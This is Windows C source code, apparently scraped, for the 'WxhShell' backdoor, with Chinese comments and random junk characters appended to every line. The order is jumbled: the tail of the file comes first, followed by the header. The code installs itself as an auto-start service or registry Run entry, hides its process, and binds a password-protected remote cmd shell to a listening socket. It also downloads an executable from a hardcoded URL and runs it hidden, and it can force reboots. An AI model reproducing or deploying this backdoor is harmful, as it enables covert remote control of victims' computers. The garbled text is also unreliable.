    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fU$_5v4  
    else { 59"tHb6E  
    closesocket(wsh); >LH}A6dUC  
    ExitThread(0); &RI;!qn6(  
    } .j>MsQP#\C  
    break; OA} r*Wz  
    } 23,pVo  
  // 获取shell J6>tGKa+e  
  case 's': { P &@,Z# \  
    CmdShell(wsh); 7xux%:BN  
    closesocket(wsh); A;&YPHB  
    ExitThread(0); ?Pf#~U_  
    break; c9c3o{(6Y  
  } )~ &gBX  
  // 退出 `CBXz!v!O  
  case 'x': { o61rTj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fgC@(dvfk  
    CloseIt(wsh); D/;[x{;E  
    break; YTTi j|(  
    } G-R83Orl  
  // 离开 Ai^0{kF6  
  case 'q': { JL{fW>5y|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J~oxqw}  
    closesocket(wsh); WiQVZ {  
    WSACleanup(); o1*P|.`  
    exit(1); 3p?nQ O)L  
    break; \DBEs02  
        } fOdqr  
  } gN7 3)uJ0  
  } 3c(mZ   
Br42Qo2"T>  
  // 提示信息 VN\VTSZh?\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rl$"~/ oz  
} :O,r3O6  
  } =VT\$ 5A  
;_|4c7  
  return; #Q-#7|0&  
} /`nkz  
]s E)-8  
// shell模块句柄 @3=q9ftm  
int CmdShell(SOCKET sock) yJ ljCu)f  
{ SyT{k\[  
STARTUPINFO si; P>_9>k@;Q  
ZeroMemory(&si,sizeof(si)); q@ ;1{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y65lbl%Z n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h+&iWb3;  
PROCESS_INFORMATION ProcessInfo; ;cPPx`0$9  
char cmdline[]="cmd"; jAv3qMQA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HvKdV`bz  
  return 0; .n4{xQo,EJ  
} ^w"hA;  
?~.:C'  
// 自身启动模式 cR,'aX  
int StartFromService(void)  2+S+Y%~  
{ v,z~#$T&  
typedef struct B4*y-Q.*  
{ xO<%lq`  
  DWORD ExitStatus; !_~ /Y/M  
  DWORD PebBaseAddress; _5(1T%K)  
  DWORD AffinityMask; +xsGa{`  
  DWORD BasePriority; 6K<o0=,jm2  
  ULONG UniqueProcessId; j72mm!  
  ULONG InheritedFromUniqueProcessId; VlSM/y5  
}   PROCESS_BASIC_INFORMATION; jvD_{r  
z 0zB&}  
PROCNTQSIP NtQueryInformationProcess; )PYh./_2  
%|^,Q -i,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9ZatlI,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v6[VdWOx5  
fo`R=|L[  
  HANDLE             hProcess; , /jHhKW  
  PROCESS_BASIC_INFORMATION pbi; /"m#mh L  
?z6K/'?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ja/wI'J<  
  if(NULL == hInst ) return 0; LpSF*xm  
2QEH!)lvr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |%fNLUJ)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "L1LL iS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?TIi0;h  
72J=_d>+  
  if (!NtQueryInformationProcess) return 0; Qy}pn=#Q  
i+< v7?:`#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T<b* =i  
  if(!hProcess) return 0; /vi Ic %=  
~Cw7.NA{3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kng=v~)N'  
o"z;k3(i$7  
  CloseHandle(hProcess); S')DAx  
hA1B C3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z]bG"K3l  
if(hProcess==NULL) return 0; ^,vFxN--q  
e{Vn{.i,5  
HMODULE hMod; ,F` 1VpTd8  
char procName[255]; So e2Gq  
unsigned long cbNeeded; >.9V`m|  
&V SZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kb;Pd!Q  
wgolgof  
  CloseHandle(hProcess); x _d   
gd#?rc*f<3  
if(strstr(procName,"services")) return 1; // 以服务启动 M8\/[R\  
v@8SMOe %  
  return 0; // 注册表启动 a}|<*!4zUQ  
} 9IrCu?n9b  
Mqk|H~l5c  
// 主模块 M"{*))O\-c  
int StartWxhshell(LPSTR lpCmdLine) tq@)J_7|  
{ eY^zs0  
  SOCKET wsl; F2_'U' a  
BOOL val=TRUE; <exyd6iI  
  int port=0; >SziRm>Y7  
  struct sockaddr_in door; 9=/4}!.  
\Ucv<S  
  if(wscfg.ws_autoins) Install(); cXf/  
\-{$IC-L  
port=atoi(lpCmdLine); u2$.EM/iae  
MZcvr9y  
if(port<=0) port=wscfg.ws_port; ydY 7 :D  
`,/5skeJ  
  WSADATA data; f\q5{#"z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I8B0@ZtV  
G|-RscPe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _h,_HW)G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3fXrwmBT8  
  door.sin_family = AF_INET; c+T`X?.j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YRf$?xa  
  door.sin_port = htons(port); +oO7UWs>6  
$]}K;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;#IrHR*Bk  
closesocket(wsl); K7(k_4  
return 1; >hq{:m  
} O'#;Ge/,  
j%Z5[{!/,X  
  if(listen(wsl,2) == INVALID_SOCKET) { C2=PGq  
closesocket(wsl); iQG]v[$  
return 1; GBR$k P  
} 4 x4[  
  Wxhshell(wsl); 3vAP&i'I  
  WSACleanup(); *b 0z/ 6  
z j#<X  
return 0; S Te8*=w  
u;1[_~  
} _1Ne+"V  
f? GoBh<  
// 以NT服务方式启动 $ve$Sq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3B,dL|q(@J  
{ ~]?EV?T  
DWORD   status = 0; KydAFxUb  
  DWORD   specificError = 0xfffffff; 6@FhDj2X  
On!+7is'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5`U zxu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K^tc]ZQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kRbJK  
  serviceStatus.dwWin32ExitCode     = 0; p}/D{|xO  
  serviceStatus.dwServiceSpecificExitCode = 0; aUc#,t;Qd  
  serviceStatus.dwCheckPoint       = 0; <&O*' <6C  
  serviceStatus.dwWaitHint       = 0; a|4D6yUw|  
n&|N=zh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DcM/p8da  
  if (hServiceStatusHandle==0) return; eLXL5&}`fh  
oTXIs4+G  
status = GetLastError(); kjdIk9 Y  
  if (status!=NO_ERROR) (f_J @n  
{ q*Hg-J}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ^4Xsdh5  
    serviceStatus.dwCheckPoint       = 0; 45< gO1  
    serviceStatus.dwWaitHint       = 0; /0|1xHs  
    serviceStatus.dwWin32ExitCode     = status; \ISg6v{/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Le bc @,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r)Zk-!1  
    return; `/N={  
  } t:P]bp^#  
.H qJ)OH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [P ;fv  
  serviceStatus.dwCheckPoint       = 0; BzWkZAX  
  serviceStatus.dwWaitHint       = 0; ?2,D-3 {  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0o6o<ggi  
} /dvronG  
,g*3u  
// 处理NT服务事件,比如:启动、停止 =-GxJ PL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~Jsu"kr  
{ y\-iGKz{0  
switch(fdwControl) /Ix5`Q)  
{ ~dLbhjde n  
case SERVICE_CONTROL_STOP: '|5o(6u'  
  serviceStatus.dwWin32ExitCode = 0; y x#ub-A8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ev+H{5W8  
  serviceStatus.dwCheckPoint   = 0; _zzNF93Bn  
  serviceStatus.dwWaitHint     = 0; !?+0O]`}  
  { Xc" %-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =OPX9oG  
  } ! os@G  
  return; kv+^U^WoU  
case SERVICE_CONTROL_PAUSE: Lw(tO0b2H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JgKhrDx  
  break; Df*<3G  
case SERVICE_CONTROL_CONTINUE: L;{{P7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d=uGB"  
  break; C|w<mryx  
case SERVICE_CONTROL_INTERROGATE: H`URJ8k$Q  
  break; 4/mz>eK"  
}; }-XZ1qr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cwtlOg  
} ~[og\QZX  
Vmh$c*TE  
// 标准应用程序主函数 vRf$#fBEQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mQ`2c:Rn&7  
{ 1MnC5[Q  
fB,eeT1v?h  
// 获取操作系统版本 $ywROa]  
OsIsNt=GetOsVer(); 9b,0_IMHH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J:ka@2>|  
|r)QkxdU,  
  // 从命令行安装 41+WIa L  
  if(strpbrk(lpCmdLine,"iI")) Install(); l`:u5\ rM  
X%(NI(+x,  
  // 下载执行文件 Ej6ho0_  
if(wscfg.ws_downexe) { @)[8m8paV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R)*l)bpZ#  
  WinExec(wscfg.ws_filenam,SW_HIDE); (pP.*`JRv  
} _JTK$ \  
(aSuxl.Dq  
if(!OsIsNt) { "_dg$j`Y&&  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Z w +"AA  
HideProc(); WwtVuc|  
StartWxhshell(lpCmdLine); m}oR*<.  
} f/IQ2yT-:D  
else f5un7,m  
  if(StartFromService()) }YM\IPsPu  
  // 以服务方式启动 |_7k*:#q:  
  StartServiceCtrlDispatcher(DispatchTable); .7LQ l ?  
else jrz.n 4Y`  
  // 普通方式启动 'wMvO{}$  
  StartWxhshell(lpCmdLine); $o\z4_I  
L+ XAbL)  
return 0; AL,7rYZG$  
} &HAu;u@  
d8+@K&z|  
dKU :\y  
N81M9#,["~  
=========================================== "X;5* 4+  
Kr1Y3[iNv  
oz,.gP%  
Buh}+n2]5  
`^'fS@VA  
UQ7]hX9  
" In1n.oRFn^  
-KfK~P3PF  
#include <stdio.h> 4e AMb  
#include <string.h> >b=."i  
#include <windows.h> j&Xx{ 4v  
#include <winsock2.h> h*!oHS~/l  
#include <winsvc.h> 33D2^ Sf6"  
#include <urlmon.h> =mPe wx'  
%eIaH!x:  
#pragma comment (lib, "Ws2_32.lib") wF%RM$  
#pragma comment (lib, "urlmon.lib") fc<y(uX  
$M!iQ"bb  
#define MAX_USER   100 // 最大客户端连接数 w4}Q6_0v  
#define BUF_SOCK   200 // sock buffer K{`R`SXD  
#define KEY_BUFF   255 // 输入 buffer q+*\'H>  
P 6La)U`VA  
#define REBOOT     0   // 重启 .QZjJ9pvK  
#define SHUTDOWN   1   // 关机 yE,qLiH  
,c?( |tF  
#define DEF_PORT   5000 // 监听端口 >$- YNZA   
4cPZGZ{U  
#define REG_LEN     16   // 注册表键长度 q 165S  
#define SVC_LEN     80   // NT服务名长度 tK/,U =+  
/je $+  
// 从dll定义API Rf>)#hn%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  |:x,|>/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); La '6k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~OR^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A?}[rM Z  
!vpXXI4  
// wxhshell配置信息 Cj`~ntMN  
struct WSCFG { <Z.{q Zd  
  int ws_port;         // 监听端口 !QbuOvw  
  char ws_passstr[REG_LEN]; // 口令 ]d7A|)q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8Yf*vp>T/x  
  char ws_regname[REG_LEN]; // 注册表键名 (s&]V49  
  char ws_svcname[REG_LEN]; // 服务名 OPjNmdeS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DmPsE6G}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _#&oQFdYR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c(2?./\|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'bSWJ/;p)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %,HUn`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j3`YaWw  
hi/d%lNZ  
}; MMpId Uhr  
' 7oCWHq[  
// default Wxhshell configuration ITqAy1m@C  
struct WSCFG wscfg={DEF_PORT, 6_u!{  
    "xuhuanlingzhe", 7qUg~GJX  
    1, rTVv6:L  
    "Wxhshell", ZN;ondp4  
    "Wxhshell", NQZ /E )f  
            "WxhShell Service", Ert={"Q  
    "Wrsky Windows CmdShell Service", 8OV =;aM?{  
    "Please Input Your Password: ", G6W|l2P!  
  1, PLz+%L;{  
  "http://www.wrsky.com/wxhshell.exe", K\fD';  
  "Wxhshell.exe" Y%0rji  
    }; ")vtS}Ekt  
/!?Tv8TPp  
// 消息定义模块 0#8, (6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;]m;p,$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 32SkxcfrCK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )AR- b8..o  
char *msg_ws_ext="\n\rExit."; ^gp]tAf  
char *msg_ws_end="\n\rQuit."; )[ZXPD  
char *msg_ws_boot="\n\rReboot..."; T$R#d&t  
char *msg_ws_poff="\n\rShutdown..."; `L7^f!  
char *msg_ws_down="\n\rSave to "; *n&Sd~Mg  
#V]8FW  
char *msg_ws_err="\n\rErr!"; |gu@b~8  
char *msg_ws_ok="\n\rOK!"; ]u$tKC  
W'"?5} (  
char ExeFile[MAX_PATH]; )uo".n|n~B  
int nUser = 0; eWex/ m  
HANDLE handles[MAX_USER]; fiA8W  
int OsIsNt; Xxd D)I  
wEX<[#a-  
SERVICE_STATUS       serviceStatus; o -)[{o\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %$Py@g  
B; NK\5>  
// 函数声明 G7+{O7  
int Install(void); z;?jKE p  
int Uninstall(void); =>3,]hnep  
int DownloadFile(char *sURL, SOCKET wsh); O-W[^r2e  
int Boot(int flag); Q%?%zuU  
void HideProc(void); p!=8Pq.  
int GetOsVer(void); er-0i L@  
int Wxhshell(SOCKET wsl); [hg9 0Q6  
void TalkWithClient(void *cs); tx9 %.)M:n  
int CmdShell(SOCKET sock); tKLeq(  
int StartFromService(void); MnF|'t  
int StartWxhshell(LPSTR lpCmdLine); ILH[q>  
5EI"5&`*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); id : ^|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w42{)S"  
SC4jKm2  
// 数据结构和表定义 5WRqeSGh  
SERVICE_TABLE_ENTRY DispatchTable[] = XP%_|Q2X  
{ 7_qsVhh]$E  
{wscfg.ws_svcname, NTServiceMain}, ~Y*.cGA  
{NULL, NULL} +$(y2F7|u-  
}; wA/!A$v(  
uuD2O )v  
// 自我安装 .*oL@iX  
int Install(void) 1D8S}=5&  
{ CPcUB4a%#  
  char svExeFile[MAX_PATH]; W=293mME  
  HKEY key; ~'0n ]Fw  
  strcpy(svExeFile,ExeFile); }b}jw.2Wu  
\_R<Q?D+  
// 如果是win9x系统,修改注册表设为自启动 aBY&]6^-  
if(!OsIsNt) { SC2LY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { StTxga|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AI{0;0  
  RegCloseKey(key); $E^sA|KcT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rDoMz3[w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1EQ:@1  
  RegCloseKey(key); Lk#)VGk:  
  return 0; K3tW Y 4-  
    } Oe@w$?  
  } xy!E_CuC$  
} t5K#nRd Z:  
else { _:tS-Mx@5  
|4j6}g\  
// 如果是NT以上系统,安装为系统服务 9IG<9uj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (0LA.aBIf  
if (schSCManager!=0) 'sa)_?Hy  
{ B= E/|J</  
  SC_HANDLE schService = CreateService 4Y1^ U{A+  
  ( Vb JE zl  
  schSCManager, { 6qxg_{  
  wscfg.ws_svcname, S["r @<  
  wscfg.ws_svcdisp, ip{ b*@K  
  SERVICE_ALL_ACCESS, XfMUodV-OZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AU%Yr 6  
  SERVICE_AUTO_START, p= x &X~  
  SERVICE_ERROR_NORMAL, !J<0.nO/:  
  svExeFile, 4[;}/-  
  NULL, = B;qy7?  
  NULL, $J)`Ru6.  
  NULL, M3]eqxLC  
  NULL, fiSX( 9  
  NULL &{a#8sbf#c  
  ); WpE "A  
  if (schService!=0) xnWezO_  
  { MwSfuP  
  CloseServiceHandle(schService); `VGw5o  
  CloseServiceHandle(schSCManager); Th\T$T`X$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [U^Cz{G  
  strcat(svExeFile,wscfg.ws_svcname);  g;AW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b|kL*{;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `uusUw-Gf  
  RegCloseKey(key); i-4L{T\K  
  return 0; y,n.(?!*  
    } xpuTh"ED  
  } `#`C.:/n  
  CloseServiceHandle(schSCManager); &;JeLL1J  
} 8 E l hcs  
} !~'D;Jh  
5{1=BZftZ  
return 1; w7pX]<?R"  
} edlf++r~  
'4~I %Z7L  
// 自我卸载 a"g\f{v0AR  
int Uninstall(void) FS @55mQ  
{ f61vE  
  HKEY key; /.A"HGAk  
FdEUZ[IT`{  
if(!OsIsNt) { !m'Rp~t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XA.1Y)  
  RegDeleteValue(key,wscfg.ws_regname); t&5Ne ?  
  RegCloseKey(key); ?-`&YfF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d >zC[]1  
  RegDeleteValue(key,wscfg.ws_regname); ""N~##)8  
  RegCloseKey(key); W[Z[o+7pK  
  return 0; p*@t$0i  
  } FBouXu#  
} !lsa5w{  
} c`lL&*]  
else { z}$.A9yn  
[GI2%uA0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !a!4^zqp  
if (schSCManager!=0) {dE(.Z?]!#  
{ RK$(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M80O;0N%A  
  if (schService!=0) 7aPA+gA/  
  { c3PA<q[  
  if(DeleteService(schService)!=0) { <)sL8G9Y  
  CloseServiceHandle(schService); eIlovq/X  
  CloseServiceHandle(schSCManager); ^AOJ^@H^>  
  return 0; B^R44j]3"  
  } (47la$CR  
  CloseServiceHandle(schService); b~YIaD[Z  
  } U-,s/VQ?  
  CloseServiceHandle(schSCManager); toOdL0hCe  
} hV) `e"r\s  
} y )<+?@sP  
SXJjagAoML  
return 1; 7,alZ"%W  
} )g3c-W=  
fN<Y3^i"  
// 从指定url下载文件 CMv8n@ry  
int DownloadFile(char *sURL, SOCKET wsh) V;J3lV<  
{ /"~UGn]R  
  HRESULT hr; P39oHW  
char seps[]= "/"; "<)Jso|  
char *token; o^owv(  
char *file; S-7C'dc  
char myURL[MAX_PATH]; pbWjTI$  
char myFILE[MAX_PATH]; jt*B0'Sa  
q3K}2g  
strcpy(myURL,sURL); %hH> %  
  token=strtok(myURL,seps); Up_"qD6  
  while(token!=NULL) T;PLUjp}  
  { A>FWvlLw'm  
    file=token; N Mx:Jh-YN  
  token=strtok(NULL,seps); NB.'>Sar  
  } #67 7,dn  
;7H^;+P  
GetCurrentDirectory(MAX_PATH,myFILE); MTNC{:Q  
strcat(myFILE, "\\"); , \RR@~u'  
strcat(myFILE, file); jPx}-_jM  
  send(wsh,myFILE,strlen(myFILE),0); ]TcQGW@'  
send(wsh,"...",3,0); [io|qLr}\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -m ;n}ECg  
  if(hr==S_OK) 08%Bx~88_%  
return 0; itc\wn  
else %S$$*|_G  
return 1; Y Ztd IG  
JZ:yPvJ  
} 0B}2~}#  
j}(m$j'  
// 系统电源模块 "oF)u1_?  
int Boot(int flag) G!%8DX5  
{ J ^<uo (  
  HANDLE hToken; 88?O4)c  
  TOKEN_PRIVILEGES tkp; &rX#A@=  
C[#C/@  
  if(OsIsNt) { dq'f >S z}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;mwnAO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?*7Mn`  
    tkp.PrivilegeCount = 1; -g|ji.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WA:r4V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KU]o=\ak%  
if(flag==REBOOT) { DrxQ(yo}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q#K10*-O6  
  return 0; @A*>lUo  
} *8)va  
else { 8B(v6(h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z`ww[Tbv~  
  return 0; P4/~_$e  
}  j},i=v  
  } gA@Zx%0j  
  else { ]T2Nr[vu  
if(flag==REBOOT) { E7aG&K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n"Bc2}{  
  return 0; :rjfAe=s  
} %&V%=-O_7  
else { S)4p'cUwq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %*Uc,V  
  return 0; h@(+(fVHrp  
} n}(A4^=4KQ  
} )E^4U 9v),  
1Ax;|.KQH  
return 1; &%t&[Se_~  
} dB0 UZirb  
1v,R<1)&  
// win9x进程隐藏模块 y%kZ##  
void HideProc(void) u3pFH(  
{ %NC/zqPH~  
LGX+_ "  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e6jA4X+a  
  if ( hKernel != NULL ) |(PS bu  
  { ,_,*I/o>B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (hQi {  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d~{$,"!-f  
    FreeLibrary(hKernel); 1)z Xv  
  } Q {BA`Q@V  
;/JXn  
return; MOnTp8   
} mo(>SnS<  
Fqgs S  
// 获取操作系统版本 BfVh\ lkH  
int GetOsVer(void) BpYxH#4  
{ ,w BfGpVb  
  OSVERSIONINFO winfo; Zzz94`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <1<xSr  
  GetVersionEx(&winfo); &oy')\H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W7!iYxO  
  return 1; w1aoEo"S  
  else ylQj2B,CB  
  return 0; fBv: TC%  
} [ K'gvLt1  
/ !MKijI  
// 客户端句柄模块 &;L=f;   
int Wxhshell(SOCKET wsl) & 0WQF  
{ V'MY+#  
  SOCKET wsh; yBIX<P)vE'  
  struct sockaddr_in client; yTZ o4c "  
  DWORD myID; cF8X  
}^p<Y5{b  
  while(nUser<MAX_USER) oM Z94 , 3  
{ |\G^:V[.  
  int nSize=sizeof(client); ACZK]~Y'N*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VY+P c/b  
  if(wsh==INVALID_SOCKET) return 1; yO!M$aOn/  
J|%bRLX@>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '\xE56v)F  
if(handles[nUser]==0) Ot:}Ncq^\O  
  closesocket(wsh); B.~] 7H5"(  
else fmc\Li  
  nUser++; 5$N#=i`V  
  } e3~{l~ Rb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h,]VWG  
 [)~1Lu  
  return 0; v}d)uPl} ;  
} 18Z1F  
}*xjO/Ey  
// 关闭 socket 3JBXGT0gJ  
void CloseIt(SOCKET wsh) 5r~jo7  
{ Gsb^gd  
closesocket(wsh); ^+CHp(X  
nUser--; QKlsBq  
ExitThread(0); b.@4yW  
} m_@XoS yxI  
0< vJ*z|_  
// 客户端请求句柄 q^Oj/ws  
void TalkWithClient(void *cs) dIYf}7P  
{ 9!W$S[ABRB  
+jF2 {"  
  SOCKET wsh=(SOCKET)cs; q#8yU\J|,  
  char pwd[SVC_LEN]; 2.b,8wT/  
  char cmd[KEY_BUFF]; W ulyM cJ  
char chr[1]; bE'{zU}o  
int i,j; vB{i w}Hi!  
OWT%XUW=  
  while (nUser < MAX_USER) { .SER,],P  
C c: <F_UI  
if(wscfg.ws_passstr) { Sp:w _;{#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rb& 9!z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <r t$~}  
  //ZeroMemory(pwd,KEY_BUFF); +qC [X~\  
      i=0; ] S[?tn  
  while(i<SVC_LEN) {  -D'XxOI  
&0-oi Y  
  // 设置超时 JcmJq fR  
  fd_set FdRead; Dm5 Uy^F}  
  struct timeval TimeOut; Y7r;}^+WY  
  FD_ZERO(&FdRead); t&J A1|q  
  FD_SET(wsh,&FdRead); seBmhe5qR  
  TimeOut.tv_sec=8;  QSY>8P  
  TimeOut.tv_usec=0; $/ IFSB9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +,LWyvc'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4_ U"M@  
vszm9Qf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HdB>CVuh  
  pwd=chr[0]; W.jXO"pN  
  if(chr[0]==0xd || chr[0]==0xa) { .O5V;&,  
  pwd=0; Mh5> hD  
  break; Q [rZ1z  
  } UF#!6"C@  
  i++; AguE)I&m  
    } /[\g8U{5B}  
yxp,)os:  
  // 如果是非法用户,关闭 socket :;]9,n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v x/YWZ  
} d!0rq4v7  
.7g h2K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wtc ib-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !W@mW 5J|  
-8Mb~Hfl0  
while(1) { TaBya0-  
`Y4Kw  
  ZeroMemory(cmd,KEY_BUFF); 4Zwbu  
ka\{?:r,8  
      // 自动支持客户端 telnet标准   W3/bM>1  
  j=0; $KGMAg/H  
  while(j<KEY_BUFF) { fPUr O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *S:~U  
  cmd[j]=chr[0]; 89(qU  
  if(chr[0]==0xa || chr[0]==0xd) { pQ:^ ziwa3  
  cmd[j]=0; Z}uY%]  
  break; Zdqm|_R[  
  } wb?k  
  j++; gI;"PkN  
    } `7: uc@  
eQu(3sYb  
  // 下载文件 NF6xKwRU]_  
  if(strstr(cmd,"http://")) { {Fw"y %a^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Si?s69  
  if(DownloadFile(cmd,wsh)) /#M1J:SV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); goIv m:?  
  else ~. vridH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S1U0sP@o  
  } EpMxq7*  
  else { d ,98W=7  
',0:/jSz  
